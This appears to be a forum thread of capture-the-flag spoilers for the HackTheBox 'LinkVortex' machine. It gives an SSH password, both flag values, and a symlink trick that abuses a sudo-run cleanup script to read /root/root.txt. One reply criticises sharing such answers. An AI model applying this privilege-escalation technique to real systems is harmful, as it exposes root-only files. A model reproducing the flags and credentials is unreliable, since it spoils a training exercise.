[mhsoraa]

User:

kali$ ssh bob@linkvortex.htb bob@linkvortex.htb's password: fibber-talented-worth bob@linkvortex:~$ ls user.txt bob@linkvortex:~$ cat user.txt 6e6acfb2b564ecec3c71c2963bb3cf85 bob@linkvortex:~$

Root:

bob@linkvortex:~$ ln -s /root/root.txt /home/bob/pwn.txt bob@linkvortex:~$ ln -s /home/bob/pwn.txt /home/bob/pwn.png bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png Link found [ /home/bob/pwn.png ] , moving it to quarantine Content: 911be11ee404e95c2e1f273ed2039179 bob@linkvortex:~$

[puniaileman]

login
ssh bob@linkvortex.htb:fibber-talented-worth

paste this code and execute

#!/bin/bash ln -s /root/root.txt /home/bob/pwn.txt ln -s /home/bob/pwn.txt /home/bob/pwn.png sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png | echo  | tail -1

[rebelhex2]

I think is better to share the write-up with no passwords so people can learn, even if is a easybox if not people will never out grow  the copy/paste level. :catglasses: